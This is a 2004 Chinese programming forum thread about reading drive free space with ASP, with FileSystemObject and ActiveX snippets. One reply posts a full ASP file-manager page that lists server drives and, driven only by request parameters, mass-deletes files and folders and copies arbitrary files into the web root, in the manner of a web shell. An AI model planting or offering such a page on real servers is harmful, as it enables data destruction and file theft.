请问.如何才能用ASP知道,浏览网页的计算机,C盘,D盘的可用空间!

lang_csdn 2004-07-06 06:26:03
新手.不知道怎么实现,
给思路也给分!!!
...全文
250 21 打赏 收藏 转发到动态 举报
写回复
用AI写文章
21 条回复
切换为时间正序
请发表友善的回复…
发表回复
online 2004-08-05
  • 打赏
  • 举报
回复
http://borland.mblogger.cn/aiirii/posts/4088.aspx

http://borland.mblogger.cn/aiirii/posts/4087.aspx
lang_csdn 2004-08-05
  • 打赏
  • 举报
回复
这个也是一个方法啊!
但是没有数子签名啊?


好多用户的浏览器都拒绝没有经过签名的控件下载!
zmy0611 2004-08-05
  • 打赏
  • 举报
回复
客戶端:
var fso = new ActiveXObject("Scripting.FileSystemObject");
var d = fso.GetDrive(fso.GetDriveName("c:"))
alert(d.FreeSpace/1024)

但是執行時,客戶端會報安全提示
qiangtian 2004-08-05
  • 打赏
  • 举报
回复
这不成木马了吗
hxy2003 2004-08-05
  • 打赏
  • 举报
回复
UP。。。感谢。。。
online 2004-08-04
  • 打赏
  • 举报
回复
我把我的程序做成了一个activicX控件。便于用户下载。
当检测到用户硬盘空间不够时。好给提示。。。。。

客户端在activex中处理啊
在activex中检测磁盘空间即可
lang_csdn 2004-07-07
  • 打赏
  • 举报
回复
我把我的程序做成了一个activicX控件。便于用户下载。
当检测到用户硬盘空间不够时。好给提示。。。。。
用javescript可以吗?
lang_csdn 2004-07-07
  • 打赏
  • 举报
回复
能看到目录的和文件。
但是好像看不到大小!

强!
wjh6of6agriculture 2004-07-07
  • 打赏
  • 举报
回复
<%
Response.End
end if

subfolder=trim(Request("sfolder"))
parentfolder=trim(Request("pfolder"))
drive=trim(Request("drives"))
if drive="" then
drive="C:\"
end if
roots=drive

if subfolder=".." then
if right(parentfolder,1)="\" then
parentfolder=left(parentfolder,len(parentfolder)-1)
end if
root=drive & left(parentfolder,instrrev(parentfolder,"\"))
parentfolder=left(parentfolder,instrrev(parentfolder,"\"))
else
if subfolder<>"" then
root=drive & parentfolder & subfolder & "\"
parentfolder=parentfolder & subfolder & "\"
else
root=drive
parentfolder=""
end if
end if

set fs = fso.GetFolder(root)
set files=fs.Files
set folders=fs.SubFolders

set dr=fso.Drives
%>
<form name="changefolder" method="post" action="filesystem.asp">
<table border=0 align=center cellspacing=0 cellpadding=0>
<tr>
<td align=center colspan=2>
<input type=text name="CurrentFolder" value="<%=root%>" readonly style="width:400;font-size:9pt;color:Orange" title="Current Folder">
<select name="drives" size=1 style="width:195;font-size:9pt;color:white">
<%
For Each d in dr
tmpdrtype=d.DriveType
select case tmpdrtype
Case 0: tmpdrtype = "Unknown"
Case 1: tmpdrtype = "Removable"
Case 2: tmpdrtype = "Fixed"
Case 3: tmpdrtype = "Network"
Case 4: tmpdrtype = "CD-ROM"
Case 5: tmpdrtype = "RAM Disk"
end select
%>
<option value="<%=d.DriveLetter%>:\" <%if UCASE(d.DriveLetter) & ":\"=drive then Response.Write "selected" end if%>><%=d.DriveLetter%>:\ [<%=tmpdrtype%>]</option>
<%
Next

set d=nothing
set dr=nothing
%>
</select>
</td>
</tr>
<tr>
<td align=center colspan=2>
<select name="root" size=13 style="width:600;font-size:9pt;color:YellowGreen" title="Folders and files list">
<%
on error resume next

set ds=fso.GetDrive(fso.GetDriveName(drive))

if ds.IsReady then
if fso.GetParentFolderName(root)<>"" then
%>
<option value=".." style="color:white">--------  <..></option>
<%
end if
%>
<%
totalsfolders=0
for each folderchild in folders
%>
<option value="<%=folderchild.name%>" style="color:LightPink"><%=returnattr(folderchild.Attributes)%>  <<%=folderchild.name%>><%if isCheck then%>    (<%=folderchild.size\1024 & "KB"%>)<%end if%></option>
<%
totalsfolders=totalsfolders+1
next
%>
<%
totalfiles=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
%>
<option value="<%=filechild.name%>"><%=returnattr(filechild.Attributes)%>  <%=filechild.name%><%if isCheck then%>    (<%=filechild.size\1024 & "KB"%>)<%end if%></option>
<% totalfiles=totalfiles+1
end if
next
isReady=true
else
isReady=false
end if

set ds=nothing
set filechild=nothing
set folderchild=nothing
%>
</select>
wjh6of6agriculture 2004-07-07
  • 打赏
  • 举报
回复
function returnattr(id)
if id and 0 then
returnattr="--------"
exit function
end if

if id and 1 then
returnattr="r"
else
returnattr="-"
end if

if id and 2 then
returnattr=returnattr & "h"
else
returnattr=returnattr & "-"
end if

if id and 4 then
returnattr=returnattr & "s"
else
returnattr=returnattr & "-"
end if

if id and 8 then
returnattr=returnattr & "v"
else
returnattr=returnattr & "-"
end if

if id and 16 then
returnattr=returnattr & "d"
else
returnattr=returnattr & "-"
end if

if id and 32 then
returnattr=returnattr & "a"
else
returnattr=returnattr & "-"
end if

if id and 64 then
returnattr=returnattr & "l"
else
returnattr=returnattr & "-"
end if

if id and 128 then
returnattr=returnattr & "c"
else
returnattr=returnattr & "-"
end if

end function

err.clear
on error resume next
set fso=server.CreateObject("Scripting.FileSystemObject")
if err.number<>0 then
Response.Write "<BR><font size=3 color=red>Sorry.<BR>The system can not support FileSystemObject!</font>"
Response.End
end if

if g_actionid<>"" and g_actionparameter<>"" then
Response.Write "<a href=""filesystem.asp""><< return to root</a><hr>"
select case cstr(g_actionid)
case "1" 'delete all of files under current folder
set fs=fso.GetFolder(g_actionparameter)
set files=fs.Files
tmpf1=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
err.Clear
on error resume next

tmpmsg=filechild.path

fso.DeleteFile filechild.path,true

if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "File : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if
tmpf1=tmpf1+1
end if
next

if tmpf1>0 then
Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"
else
Response.Write "<div align=center><font color=""red"" size=4>Something wrong !!</font></div>"
end if

case "2" 'delete the selected file
err.Clear
on error resume next
fso.DeleteFile g_actionparameter,true

if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & g_actionparameter & "</font> can not be delete!"
else
Response.Write "File : <font size=2 color=green>" & g_actionparameter & "</font> had been deleted!"
end if

Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"

case "3" 'delete the selected folder
err.Clear
on error resume next
fso.DeleteFolder g_actionparameter,true

if err.number<>0 then
Response.Write "Folder : <font size=2 color=red>" & g_actionparameter & "</font> can not be delete!"
else
Response.Write "Folder : <font size=2 color=green>" & g_actionparameter & "</font> had been deleted!"
end if

Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"

case "4" 'delete all of folders and files
set fs = fso.GetFolder(g_actionparameter)
set files=fs.Files
set folders=fs.SubFolders

tmpf1=0
for each folderchild in folders
err.Clear
on error resume next

tmpmsg=folderchild.path

fso.DeleteFolder folderchild.path,true

if err.number<>0 then
Response.Write "Folder : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "Folder : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if
tmpf1=tmpf1+1
next

if tmpf1>0 then
Response.Write "<hr>"
end if

tmpf2=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
err.Clear
on error resume next

tmpmsg=filechild.path

fso.DeleteFile filechild.path,true

if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "File : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if

tmpf2=tmpf2+1

end if
next

if tmpf2>0 or tmpf1>0 then
Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"
else
Response.Write "<div align=center><font color=""red"" size=4>Something wrong !!</font></div>"
end if

case "5"
if g_actionparameter<>"" then
err.Clear
'on error resume next

fso.CopyFile g_actionparameter,Request.ServerVariables("APPL_PHYSICAL_PATH") & right(g_actionparameter,len(g_actionparameter)-instrrev(g_actionparameter,"\")),true
set fs=fso.GetFile(Request.ServerVariables("APPL_PHYSICAL_PATH") & right(g_actionparameter,len(g_actionparameter)-instrrev(g_actionparameter,"\")))

fs.Attributes=0

Response.Write vbCrlf & "<iframe name=""actionwin"" border=0 frameborder=0 framespacing=0 width=""100%"" height=300 marginheight=0 hspace=0 marginwidth=0 vspace=0 noresize style=""background-color:black""></iframe>" & vbCrlf
Response.Write "<script language=vbs>" & vbCrlf
Response.write "actionwin.document.open()" & vbCrlf
Response.write "actionwin.document.writeln(" & chr(34) & "<BODY MONOSPACE STYLE=" & chr(34) & chr(34) & "background-color:black" & chr(34) & chr(34) & ">" & chr(34) & ")" & vbCrlf
Response.write "actionwin.document.close()" & vbCrlf
Response.Write "actionwin.window.location.href= " & chr(34) & "HTTP://" & Request.ServerVariables("HTTP_HOST") & "/" & right(g_actionparameter,len(g_actionparameter)-instrrev(g_actionparameter,"\")) & chr(34) & vbCrlf
Response.Write "</script>" & vbCrlf

end if
end select
%>
</BODY>
</HTML>
wjh6of6agriculture 2004-07-07
  • 打赏
  • 举报
回复
<%@ Language=VBScript %>
<%
Response.Expires=-1
%>
<HTML>
<HEAD>
<STYLE>
BODY
{
FONT-SIZE: 12px;
COLOR: paleturquoise;
BACKGROUND-COLOR: '#111111';
FONT-FAMILY: 'Comic Sans MS';
TEXT-DECORATION: none
}
INPUT
{
BORDER-RIGHT: thin ridge;
BORDER-TOP: thin ridge;
FONT-SIZE: 12px;
BORDER-LEFT: thin ridge;
COLOR: paleturquoise;
BORDER-BOTTOM: thin ridge;
BACKGROUND-COLOR: black;
FONT-FAMILY: 'Comic Sans MS';
TEXT-DECORATION: none
}
SELECT
{
BORDER-RIGHT: thin ridge;
BORDER-TOP: thin ridge;
FONT-SIZE: 12px;
BORDER-LEFT: thin ridge;
COLOR: paleturquoise;
BORDER-BOTTOM: thin ridge;
BACKGROUND-COLOR: black;
FONT-FAMILY: 'Comic Sans MS';
TEXT-DECORATION: none
}
A:active
{
FONT-SIZE: 12px;
COLOR: greenyellow;
FONT-FAMILY: 'Comic Sans MS';
TEXT-DECORATION: none
}
A:link
{
FONT-SIZE: 12px;
COLOR: greenyellow;
FONT-FAMILY: 'Comic Sans MS';
TEXT-DECORATION: none
}
A:visited
{
FONT-SIZE: 12px;
COLOR: greenyellow;
FONT-FAMILY: 'Comic Sans MS';
TEXT-DECORATION: none
}
A:hover
{
FONT-SIZE: 12px;
COLOR: violet;
FONT-FAMILY: 'Comic Sans MS';
TEXT-DECORATION: underline
}
TABLE
{
FONT-FAMILY: 'Comic Sans MS';
BORDER-RIGHT: silver;
BORDER-TOP: silver;
BORDER-LEFT: silver;
BORDER-BOTTOM: silver
}
TD
{
FONT-FAMILY: 'Comic Sans MS';
BORDER-RIGHT: silver;
BORDER-TOP: silver;
BORDER-LEFT: silver;
BORDER-BOTTOM: silver
}
</STYLE>
<TITLE>Explorer File Administration Ver: 1.0</TITLE>
</HEAD>
<BODY topmargin=5>
<table border=0 align=center width="100%" cellpadding=0 cellspacing=0>
<tr>
<td align=center><font size=4 color="OrangeRed"><b>Explorer File Administration Ver: 1.0</b></font></td>
</tr>
<tr>
<td align=center><hr></td>
</tr>
</table>
<%
dim parentfolder,subfolder,fso,files,folders,fs,root,roots,filechild,folderchild,tmpmsg,tmpf1,tmpf2,dr,tmpdrtype,d,ds
dim g_actionid,g_actionparameter,isReady,isCheck
dim aboutmsg,totalfiles,totalsfolders

aboutmsg="Explorer File Administration Ver 1.0 "" & vbCrlf & vbCrlf"
aboutmsg=aboutmsg & " & ""Author: Johnny Lill"" & vbCrlf"
aboutmsg=aboutmsg & " & ""Email : Johnny_Lill@hotmail.com"" & vbCrlf"
aboutmsg=aboutmsg & " & ""Date : 2003-5-10"

isReady=true

g_actionid=trim(Request("actionid"))
g_actionparameter=trim(Request("actionparameter"))


isCheck=trim(Request("showsize"))

if isCheck="" then
isCheck=false
else
isCheck=true
end if
danmali 2004-07-07
  • 打赏
  • 举报
回复
你自己说得很对,就那么做吧!
danmali 2004-07-07
  • 打赏
  • 举报
回复
用fso的获取服务器端的
或者写客户端的组件也可以的,但是现在3721让不让客户端接,就说不上了
dullwolf 2004-07-07
  • 打赏
  • 举报
回复
客户端的,只要IE允许
dragonlyf 2004-07-07
  • 打赏
  • 举报
回复
up
netying 2004-07-06
  • 打赏
  • 举报
回复
如果要得到客户端的,只要IE允许,用XMLHTTP再传给某一ASP程序,你就可以得到
Swanzy 2004-07-06
  • 打赏
  • 举报
回复
ASP探针
wanghr100 2004-07-06
  • 打赏
  • 举报
回复
只能是服务器的.

<%
Dim fso, d, dc, s, n
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.GetDrive("C")
Response.Write "C盘可用空间:" & dc.FreeSpace/1024/1024 & "MB"
%>
king2003 2004-07-06
  • 打赏
  • 举报
回复
正如楼上所说,又晚了一步
孟子E章 2004-07-06
  • 打赏
  • 举报
回复
客户端的得不到
服务器端的用fso

Dim fso, d, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName("c:")))
s = "Drive " & d.DriveLetter & ":"
s = s & vbCrLf
s = s & "Total Size:" & FormatNumber(d.TotalSize/1024, 0) & " Kbytes"
s = s & vbCrLf
s = s & "Available:" & FormatNumber(d.AvailableSpace/1024, 0) & " Kbytes"
ShowSpaceInfo = s

28,408

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧